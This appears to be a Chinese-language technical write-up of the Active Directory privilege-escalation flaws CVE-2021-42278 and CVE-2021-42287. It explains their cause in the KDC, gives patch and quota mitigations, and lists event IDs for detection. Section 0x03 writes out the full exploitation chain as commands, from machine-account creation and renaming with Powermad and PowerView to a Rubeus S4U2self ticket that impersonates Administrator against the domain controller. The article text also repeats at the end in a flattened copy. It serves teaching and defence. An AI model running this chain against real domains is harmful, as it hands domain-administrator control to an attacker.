域内提权票据篇之剖析CVE-2021-42278&42287漏洞
字数 1633 2025-08-06 08:35:00

域内提权票据攻击剖析:CVE-2021-42278 & CVE-2021-42287漏洞详解

0x00 漏洞背景

2021年披露的AD域组合漏洞(CVE-2021-42278 + CVE-2021-42287)利用AD域对机器账户的认证缺陷和Kerberos协议缺陷,仅需一个域用户权限即可获取域内最高权限,影响极为严重。

0x01 漏洞1:CVE-2021-42278

漏洞原理

  1. 机器账户特性

    • 默认情况下加入域的主机会创建机器账户,账户名为机器名加\(结尾(如COMPUTER\))
    • 这些账户默认位于CN=Computers容器中
    • 账户名存储在sAMAccountName属性中
  2. 关键缺陷

    • 域默认允许域用户创建机器账户(通过MS-DS-Machine-Account-Quota属性控制,普通域用户最多可创建10个)
    • 域控没有验证机器账户名的机制,不校验sAMAccountName结尾的$符号
    • 即使删除结尾的$,仍可以机器用户身份申请TGT票据

0x02 漏洞2:CVE-2021-42287

漏洞原理

  1. 利用流程

    • 创建普通机器账户
    • 将其sAMAccountName改为与域控机器账户名相同但不以$结尾
    • 用该账户请求TGT
    • 将sAMAccountName改回原名
    • 使用之前获取的TGT申请该主机的ST(服务票据)
  2. 关键缺陷

    • 由于二次改名后域内已无该账户,DC会找不到它
    • Kerberos协议处理逻辑会自动在主机名后加$继续搜索
    • 结果会搜索到域控机器账户
    • 在PAC中添加域控机器账户的用户名和组信息并以域控身份签名下发ST
    • 最终实现权限提升

0x03 漏洞利用步骤

准备工作

  1. 创建机器账户

    • 使用Powermad.ps1脚本创建机器账户
    Import-Module .\Powermad.ps1
    New-MachineAccount -MachineAccount FAKE -Domain domain.local -DomainController dc.domain.local
    
  2. 清除SPN值

    • 必须清除servicePrincipalName(服务主体名称)属性
    • 使用PowerView.ps1脚本:
    Import-Module .\PowerView.ps1
    Set-DomainObject -Identity FAKE -Clear servicePrincipalName
    
  3. 修改sAMAccountName

    Set-DomainObject -Identity FAKE -Set @{sAMAccountName="DC"}
    

AS-REQ阶段

  1. 请求TGT票据
    • 使用Rubeus工具请求TGT:
    .\Rubeus.exe asktgt /user:"DC" /password:"Password" /domain:"domain.local" /dc:"dc.domain.local" /nowrap
    
    • 此时PAC中的Group RID为515(Domain Computers组)

关键操作

  1. 将机器账户改回原名
    Set-DomainObject -Identity FAKE -Set @{sAMAccountName="FAKE"}
    

TGS-REQ阶段

  1. 请求服务票据

    • 使用S4U2self协议请求服务票据:
    Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/dc.domain.local" /dc:"dc.domain.local" /ptt /ticket:[Base64 TGT]
    
    • 此时PAC中的User RID变为500(Administrator),Group RID为513(Domain Users组)
  2. 验证票据

    klist
    dir \\dc.domain.local\c$
    

0x04 漏洞成因分析

S4U2self协议关键点

  1. 协议流程

    • 服务1已通过KDC认证并获得TGT
    • 服务1通过S4U2self扩展代表指定用户请求服务票据
    • KDC返回包含用户授权数据的服务票据
    • 服务1使用票据中的授权数据响应用户
  2. 协议数据结构

    PA-FOR-USER ::= SEQUENCE {
        userName      [0] PrincipalName,
        userRealm     [1] Realm,            
        cksum         [2] Checksum,             
        auth-package  [3] KerberosString
    }
    

KDC处理逻辑缺陷

  1. KdcGetTicketInfo函数

    • 对服务账户名进行顺序判断
    • 如果不是krbtgt账户,查找传入的用户名
    • 找不到则加$继续查找
    • 仍找不到则查找altSecurityIdentities属性
  2. kdcGetPacAuthData函数

    • S4U请求会重新生成对应模拟用户的PAC
    • 使用Administrator用户请求会生成高权限票据

0x05 防御措施

  1. 安装补丁

    • KB5008602
    • KB5008380
  2. 权限控制

    • 修改MachineAccountQuota属性为0,限制创建机器账户
    Set-ADDomain -Identity domain.local -Replace @{ms-DS-MachineAccountQuota="0"}
    
  3. 命名规范

    • 确保域控机器账户名唯一,防止攻击者创建同名账户

0x06 日志检测

  1. 名称冒充检测

    • 4741事件:创建机器账户
    • 4742事件:删除SPN
    • 4781事件:修改sAMAccountName
  2. KDC欺骗检测

    • 4768事件(TGT请求):TargetUserName为域控主机名不加$
    • 4769事件(ST请求):TargetUserName不包含\(且ServiceName为域控主机名不加\)

0x07 参考资源

  1. 微软S4U协议文档
  2. 漏洞武器化指南
  3. PAC漏洞分析
域内提权票据攻击剖析:CVE-2021-42278 & CVE-2021-42287漏洞详解 0x00 漏洞背景 2021年披露的AD域组合漏洞(CVE-2021-42278 + CVE-2021-42287)利用AD域对机器账户的认证缺陷和Kerberos协议缺陷,仅需一个域用户权限即可获取域内最高权限,影响极为严重。 0x01 漏洞1:CVE-2021-42278 漏洞原理 机器账户特性 : 默认情况下加入域的主机会创建机器账户,账户名为机器名加$结尾(如COMPUTER$) 这些账户默认位于CN=Computers容器中 账户名存储在sAMAccountName属性中 关键缺陷 : 域默认允许域用户创建机器账户(通过MS-DS-Machine-Account-Quota属性控制,普通域用户最多可创建10个) 域控没有验证机器账户名的机制,不校验sAMAccountName结尾的$符号 即使删除结尾的$,仍可以机器用户身份申请TGT票据 0x02 漏洞2:CVE-2021-42287 漏洞原理 利用流程 : 创建普通机器账户 将其sAMAccountName改为与域控机器账户名相同但不以$结尾 用该账户请求TGT 将sAMAccountName改回原名 使用之前获取的TGT申请该主机的ST(服务票据) 关键缺陷 : 由于二次改名后域内已无该账户,DC会找不到它 Kerberos协议处理逻辑会自动在主机名后加$继续搜索 结果会搜索到域控机器账户 在PAC中添加域控机器账户的用户名和组信息并以域控身份签名下发ST 最终实现权限提升 0x03 漏洞利用步骤 准备工作 创建机器账户 : 使用Powermad.ps1脚本创建机器账户 清除SPN值 : 必须清除servicePrincipalName(服务主体名称)属性 使用PowerView.ps1脚本: 修改sAMAccountName : AS-REQ阶段 请求TGT票据 : 使用Rubeus工具请求TGT: 此时PAC中的Group RID为515(Domain Computers组) 关键操作 将机器账户改回原名 : TGS-REQ阶段 请求服务票据 : 使用S4U2self协议请求服务票据: 此时PAC中的User RID变为500(Administrator),Group RID为513(Domain Users组) 验证票据 : 0x04 漏洞成因分析 S4U2self协议关键点 协议流程 : 服务1已通过KDC认证并获得TGT 服务1通过S4U2self扩展代表指定用户请求服务票据 KDC返回包含用户授权数据的服务票据 服务1使用票据中的授权数据响应用户 协议数据结构 : KDC处理逻辑缺陷 KdcGetTicketInfo函数 : 对服务账户名进行顺序判断 如果不是krbtgt账户,查找传入的用户名 找不到则加$继续查找 仍找不到则查找altSecurityIdentities属性 kdcGetPacAuthData函数 : S4U请求会重新生成对应模拟用户的PAC 使用Administrator用户请求会生成高权限票据 0x05 防御措施 安装补丁 : KB5008602 KB5008380 权限控制 : 修改MachineAccountQuota属性为0,限制创建机器账户 命名规范 : 确保域控机器账户名唯一,防止攻击者创建同名账户 0x06 日志检测 名称冒充检测 : 4741事件:创建机器账户 4742事件:删除SPN 4781事件:修改sAMAccountName KDC欺骗检测 : 4768事件(TGT请求):TargetUserName为域控主机名不加$ 4769事件(ST请求):TargetUserName不包含$且ServiceName为域控主机名不加$ 0x07 参考资源 微软S4U协议文档 漏洞武器化指南 PAC漏洞分析